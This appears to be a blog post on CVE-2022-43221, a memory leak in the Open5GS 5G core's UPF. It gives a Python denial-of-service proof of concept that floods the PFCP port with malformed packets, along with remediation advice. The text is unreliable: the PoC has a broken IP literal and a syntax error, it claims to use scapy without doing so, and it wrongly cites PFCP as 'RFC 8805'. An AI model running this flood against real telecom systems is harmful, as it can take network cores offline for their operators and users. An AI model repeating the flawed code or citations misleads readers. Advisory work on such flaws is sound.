The open-source 5G core project, Open5GS, is widely adopted by telcos and enthusiasts to build mobile network cores for research or production. However, even mature networking stacks have vulnerabilities. In this post, we’ll focus on CVE-2022-43221, a severe memory leak found in Open5GS v2.4.11’s UPF component, and show how it can be used for Denial of Service (DoS).

What is CVE-2022-43221?

CVE-2022-43221 points to a memory leak in the open5gs project, specifically in the file src/upf/pfcp-path.c, part of the User Plane Function (UPF) that handles GTP and PFCP (Packet Forwarding Control Protocol) packets. This leak happens when maliciously crafted PFCP packets are sent to a vulnerable server, causing the process to lose memory allocations without freeing them. With enough packets, this exhausts system memory—bringing your 5G core to a halt.

Where’s the Bug?

The relevant code is in src/upf/pfcp-path.c. At a high level, the code tries to manage PFCP paths, but when parsing malformed packets, some memory chunks are never free()’d or cleaned up. Over time, this tragedy repeats, leaking more heap memory on every bad PFCP packet.

Here’s a snippet, simplified for clarity

og_path = ogs_pfcp_path_new();
if (!og_path)
    return NULL;

/* some processing ... */
if (parse_failed) {
    // oops, forgot to free og_path if parse_failed!
    return NULL;
}
/* ... */

In the original source, this happens more subtly, but the essence is that on a parse failure, ogs_pfcp_path_new()'s allocation is leaked. Attackers can exploit this by sending many crafted packets that trigger this failure case.

Reference:
- GitHub Commit Patch
- NVD Entry for CVE-2022-43221

How Bad is It? (Impact)

If left unpatched, ANYONE on the network that can reach your UPF’s PFCP port can send a stream of malformed packets, quickly grinding your critical telecom core to a DoS state.

Operators: Your production core can be taken offline by bored teenagers on public networks.

- Researchers/Campus labs: Your testbed becomes unreliable with little recourse.

Here’s a minimal proof-of-concept (PoC) in Python (using scapy), targeting PFCP port (UDP/8805)

import socket

PFCP_PORT = 8805
TARGET_IP = "192..2.10"  # Change to the IP of your UPF

malformed_pfcp_packet = b"\x21\x00\x00\x08\x00\x00\x00\x01"  # Minimal invalid PFCP header

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

for i in range(10000):
    sock.sendto(malformed_pfcp_packet, (TARGET_IP, PFCP_PORT))
    if i % 100 == :
        print(f"Sent {i} packets")

What’s With This Packet?
The above byte string is deliberately malformed so that the code will fail during parse. Modify to suit your needs – almost any malformed PFCP frame can trigger this.

Results:
As the number of packets increases, open5gs-upfd slowly eats up RAM.

watch -n 1 'ps aux | grep open5gs-upfd'

On many servers, memory usage will balloon—in some cases to OOM-Killer territory, which typically kills the upfd process. That’s your DoS.

How to Fix It

- Upgrade: This bug is fixed in versions after v2.4.11. Download the latest Open5GS release.
- Patch: If you must stay on v2.4.11, backport the fix from this commit.

Network protocol code needs paranoia: Always clean up after parse failures.

- Use memory leak detectors: Tools like Valgrind catch these quickly.

References

- Original Open5GS Security Vulnerabilities
- CVE-2022-43221 on Mitre
- PFCP RFC 8805


Summary: CVE-2022-43221 shows how small coding mistakes—like missing a free—can have big consequences in networked software. If you run Open5GS v2.4.11, patch NOW or you’re at risk. Always monitor memory, scrutinize error handling, and keep your 5G core secure!

Timeline

Published on: 11/01/2022 14:15:00 UTC
Last modified on: 11/02/2022 14:35:00 UTC